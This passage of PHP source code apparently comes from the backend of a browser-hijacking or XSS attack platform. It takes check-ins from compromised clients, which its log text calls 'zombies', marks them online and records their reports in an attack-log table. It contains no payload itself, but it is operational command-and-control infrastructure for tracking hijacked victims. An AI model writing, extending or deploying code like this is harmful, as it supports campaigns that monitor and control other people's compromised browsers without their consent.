} } else { $content = stripslashes($content); } } else { } return $content; } $res = "{}"; if (!empty($_REQUEST["i"]) && $_REQUEST["i"] !== "null" && $_REQUEST["i"] !== "undefined" && !empty($_REQUEST["t"]) && !empty($_REQUEST["l"])) { $ticket = $_REQUEST["t"]; $logMsg = $_REQUEST["l"]; $pmd_id = $_REQUEST["i"]; $db = new MySQL($log); if ($mysqli = $db->openDB()) { $pmd = new ProjectModuleData($mysqli, $log); $attackLog = new AttackLog($mysqli, $log); //如果 pmd_id 已存在 if (!$pmd->updateStatus($pmd_id, 1)) { //更新客户端状态信息为在线 $log->error("update zombie status failed!"); } if ($attackLog->insertLog($pmd_id, quotes($logMsg))) { $res = "{}"; } $db->closeDB(); } else { $log->error("Open database connection failed!"); } } echo $res;